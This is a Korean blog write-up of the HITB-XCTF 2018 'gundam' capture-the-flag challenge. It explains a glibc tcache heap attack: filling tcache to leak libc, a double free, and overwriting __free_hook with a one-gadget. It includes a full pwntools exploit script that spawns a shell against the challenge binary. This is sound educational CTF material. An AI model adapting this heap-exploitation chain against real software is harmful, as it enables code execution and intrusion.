ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • 0x30.HITB-XCTF 2018 - gundam
    0x.CTF 2019. 4. 17. 02:08

     

    파일 & 소스 : https://github.com/pwnwiz/CTF/tree/master/gundam

     

     

    pwnwiz/CTF

    CTF. Contribute to pwnwiz/CTF development by creating an account on GitHub.

    github.com

    해당 문제는 tcache가 적용된 버전이기 때문에 Ubuntu 18.04에서 익스를 진행하였다.


    순서는 간단하게 tcache를 채우고 libc를 leak한 뒤, hook을 덮는 방식으로 진행하였다.


    tcache는 보안이 아닌 성능을 위하여 구현되었기 때문에 로직상 취약점이 존재하는데 free여부를 확인하지 않는다는 점이다. 이 점을 악용하면 double free등을 통하여 heap을 leak하거나 tcache의 smallbin 크기의 entry를 7개 채운 뒤, top chunk와 인접하지 않은 청크를 하나 더 free함으로써 unsorted bin 영역에 적힌 heap_arena에 대한 leak이 가능해지므로 heap/libc에 대한 leak이 가능하다.

     

    full relro 바이너리이기에 got를 건드릴 수 없기 때문에 malloc/free hook을 덮음으로써 shell을 획득할 수 있다.

     

    익스플로잇 코드

    from pwn import *
    
    s = process('./gundam')
    e = ELF('./gundam')
    
    def build(name, types):
        s.sendline('1')
        s.recvuntil('The name of gundam :')
        s.sendline(name)
        s.recvuntil('The type of the gundam :')
        s.sendline(types)
        s.recvuntil('Your choice : ')
    
    def visit():
        s.sendline('2')
        s.recvuntil('hhhhhhh\n')
        leak = u64(s.recv(6)+'\x00'*2) 
        s.recvuntil('Your choice : ')
        return leak
    
    def destroy(index):
        s.sendline('3')
        s.recvuntil('Which gundam do you want to Destory:')
        s.sendline(index)
        s.recvuntil('Your choice : ')
    
    def blow():
        s.sendline('4')
        s.recvuntil('Your choice : ')
    
    def exit():
        s.sendline('5')
    
    def get_shell():
        s.sendline('3')
        s.recv()
        s.sendline('0')
        s.sendline('id')
        s.sendline('cat flag')
    
    s.recvuntil('Your choice : ')
    
    # allocate 9 smallbins
    build('0', '1')
    build('1', '1')
    build('2', '1')
    build('3', '1')
    build('4', '1')
    build('5', '1')
    build('6', '1')
    build('7', '1')
    build('8', '1')
    
    # free first 7 smallbins into tcache
    # last one as unsorted bin ( make sure not adjacent to top chunk )
    destroy('0')
    destroy('1')
    destroy('2')
    destroy('3')
    destroy('4')
    destroy('5')
    destroy('6')
    destroy('7')
    
    # free up the list 
    blow()
    
    # again allocate 8 smallbins to leak the heap_arena written in unsorted bin
    build('a'*7, '1')
    build('b'*7, '1')
    build('c'*7, '1')
    build('d'*7, '1')
    build('e'*7, '1')
    build('f'*7, '1')
    build('g'*7, '1')
    build('h'*7, '1')
    
    # leaked value
    libc = visit() - 4111520
    free_hook = libc + 4118760
    oneshot = libc + 0x4f322
    
    # free up some space and double-free heap
    destroy('4')
    destroy('3')
    destroy('2')
    destroy('1')
    destroy('1')
    
    # free up 
    blow()
    
    # overwrite free_hook -> execve('/bin/sh');
    build(p64(free_hook), '1')
    build(p64(0x4141414141414141), '1')
    build(p64(oneshot), '1')
    
    # get shell
    get_shell()
    
    s.interactive()

    '0x.CTF' 카테고리의 다른 글

    0x29.CODEGATE 2017 - dart-master  (0) 2018.12.27
    0x28.BoB ctf - FMbug  (0) 2018.12.15
    0x27.Whitehat Quals 2017 - hacking_team_manager  (0) 2018.11.29
    0x26.WITHCON 2017 - combination  (0) 2018.11.22
    0x25.SSG - easy_linux_reversing  (0) 2018.11.09

    댓글

Designed by Tistory.